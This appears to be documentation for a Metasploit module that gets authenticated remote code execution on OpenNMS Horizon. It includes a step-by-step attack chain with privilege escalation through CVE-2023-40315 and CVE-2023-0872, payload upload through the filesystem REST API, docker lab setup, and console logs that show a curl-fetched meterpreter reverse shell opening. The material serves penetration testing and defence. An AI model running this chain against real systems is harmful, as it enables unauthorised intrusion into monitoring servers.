## Vulnerable Application
This module exploits built-in functionality in OpenNMS Horizon in order to execute arbitrary commands as the opennms user.
For versions 32.0.2 and higher, this module requires valid credentials for a user
with ROLE_FILESYSTEM_EDITOR privileges and either ROLE_ADMIN or ROLE_REST.
For versions 32.0.1 and lower, credentials are required for a user with ROLE_FILESYSTEM_EDITOR, ROLE_REST, and/or ROLE_ADMIN privileges.

The module first tries to authenticate to the target in order to verify the credentials and obtain the OpenNMS version.
Next, the module attempts to obtain the privileges for the current user via the `/rest/users` endpoint
and if that fails, via `/rest/filesystem/contents?f=users.xml`.

The module then uses the obtained OpenNMS version number and user privileges to see if exploitation is possible.

If the user has `ROLE_FILESYSTEM_EDITOR` privileges and either `ROLE_REST` or `ROLE_ADMIN`,
exploitation is attempted directly, regardless of the OpenNMS version.

If the user has `ROLE_ADMIN` privileges, exploitation is attempted, regardless of the OpenNMS version.
In this case, the module will first use the REST API to add `ROLE_FILESYSTEM_EDITOR` privileges for the user.

If the target is OpenNMS version 32.0.1 or lower and the highest user privileges are `ROLE_FILESYSTEM_EDITOR` or `ROLE_REST`,
the module will automatically escalate privileges via CVE-2023-40315 or CVE-2023-0872, respectively.

Once the user has the required privileges, the module takes the following approach to try and exploit the target:
- It uses `/rest/filesystem` to write a payload to a .bsh file on the target
- It uses `/rest/filesystem` to create a "notificationCommand" to execute the payload
- It uses `/rest/filesystem` to create a "destinationPath" to specify the "notificationCommand"
- It uses `/rest/filesystem` to create a "notification" for whenever an invalid login is performed to the web app.
This "notification" points to the "destinationPath".
- It uses `/rest/events` to reload the OpenNMS configuration
- It performs an invalid login to OpenNMS in order to trigger the "notification", which will trigger the payload.
The triggering of the payload can take several seconds, which is why the `WfsDelay` option is set to 15 by default.


This module has been successfully tested against OpenNMS version 31.0.7

## Installation Information
OpenNMS is open source software and is available on [GitHub](https://github.com/OpenNMS/opennms).
Documentation, including installation information, is available [here](https://docs.opennms.com/horizon/31/index.html).

The easiest way to install OpenNMS is via docker. This requires creating two docker-compose files,
one for the PostgreSQL database and one for OpenNMS Horizon:

The PostgreSQL docker-compose file should look something like this:
```
---
version: '3'

volumes:
  data-postgres: {}

services:
  database:
    image: postgres:15.5
    container_name: database
    environment:
      TZ: 'America/New_York'
      POSTGRES_USER: 'postgres'
      POSTGRES_PASSWORD: 'postgres'
    volumes:
      - 'data-postgres:/var/lib/postgresql/data'
    healthcheck:
      test: [ "CMD-SHELL", "pg_isready -U postgres" ]
      interval: 10s
      timeout: 3s
      retries: 3
    ports:
      - '5432:5432/tcp'
```

For OpenNMS Horizon 31.0.8, the OpenNMS Horizon docker-compose file should look something like this, but any other version can be specified:
```
---
version: '3'

volumes:
  data-opennms: {}
  data-config: {}

services:
  horizon:
    image: opennms/horizon:31.0.8
    container_name: horizon
    environment:
      TZ: 'America/New_York'
      POSTGRES_HOST: '192.168.91.202'
      POSTGRES_PORT: 5432
      POSTGRES_USER: 'postgres'
      POSTGRES_PASSWORD: 'postgres'
      OPENNMS_DBNAME: 'opennms-core-db'
      OPENNMS_DBUSER: 'opennms'
      OPENNMS_DBPASS: 'my-opennms-db-password'
    volumes:
      - data-opennms:/opennms-data
      - data-config:/opt/opennms/etc
    command: ["-s"]
    ports:
      - '8980:8980/tcp'
      - '8101:8101/tcp'
    healthcheck:
      test: [ 'CMD', 'curl', '-f', '-I', 'http://localhost:8980/opennms/login.jsp' ]
      interval: 1m
      timeout: 5s
      retries: 3
```
The OpenNMS web app will then be available on port 8980. The default credentials are admin:admin.

## Verification Steps
1. Start `msfconsole`
2. Do: `use exploit/linux/http/opennms_horizon_authenticated_rce`
3. Do: `set RHOSTS [IP]`
4. Do: `set LHOST [IP]`
5. Do: `set FETCH_SRVHOST [IP]`
6. Do: `exploit`

## Options
### TARGETURI
The base path to OpenNMS. The default value is `/`.

### USERNAME
Username to authenticate with. The default value is `admin`

### PASSWORD
Password to authenticate with. The default value is `admin`


## Advanced Options
### PRIVESC_SAVE_DELAY
The time in seconds to wait for privesc changes to go into effect. This is used only when escalating privileges via CVE-2023-40315.
The default value is `3`.

## Targets
```
Id  Name
--  ----
0   Linux
```

## Scenarios
### OpenNMS Horizon 31.0.7 - Exploitation via CVE-2023-0872
```
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > options

Module options (exploit/linux/http/opennms_horizon_authenticated_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   rest             yes       Password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.91.196   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      8980             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /opennms/        yes       The base path to OpenNMS
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME   rest             yes       Username to authenticate with                                                                                                                                                              
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  192.168.91.196   yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      fZn              no        Name to use on remote system when storing payload; cannot contain spaces.
   FETCH_SRVHOST       192.168.91.196   no        Local IP to use for serving payload
   FETCH_SRVPORT       8081             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  /tmp             yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               192.168.91.196   yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux


msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > run

[*] Started reverse TCP handler on 192.168.91.196:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target is OpenNMS version 31.0.7 and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.
[+] The target appears to be vulnerable. User rest has ROLE_REST privileges. Exploitation is likely possible via CVE-2023-0872.
[+] Successfully escalated privileges by adding ROLE_FILESYSTEM_EDITOR
[*] Successfully edited notificationCommands.xml
[*] Successfully edited destinationPaths.xml
[*] Successfully edited notifications.xml
[+] Successfully uploaded the payload to rebxympptby.bsh
[*] Triggering the notification to execute the payload
[*] Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.
[*] Sending stage (3045380 bytes) to 172.20.0.2
[*] Meterpreter session 1 opened (192.168.91.196:4444 -> 172.20.0.2:56974) at 2023-12-13 17:30:55 +0200
[*] Attempting cleanup...

meterpreter > getuid
Server username: opennms

```

### OpenNMS Horizon 31.0.7 - Exploitation via CVE-2023-40315
```
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > set username file
username => file
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > set password file
password => file
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > run

[*] Started reverse TCP handler on 192.168.91.196:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target is OpenNMS version 31.0.7 and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.
[+] The target appears to be vulnerable. User file has ROLE_FILESYSTEM_EDITOR privileges. Exploitation is likely possible via CVE-2023-40315.
[*] Waiting 3 seconds for the changes to be saved...
[+] Successfully escalated privileges by adding ROLE_ADMIN
[*] Successfully edited notificationCommands.xml
[*] Successfully edited destinationPaths.xml
[*] Successfully edited notifications.xml
[+] Successfully uploaded the payload to thwjtslfaqsg.bsh
[*] Triggering the notification to execute the payload
[*] Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.
[*] Sending stage (3045380 bytes) to 172.20.0.2
[*] Meterpreter session 1 opened (192.168.91.196:4444 -> 172.20.0.2:51914) at 2023-12-13 17:40:16 +0200
[*] Attempting cleanup...

meterpreter > getuid
Server username: opennms

```
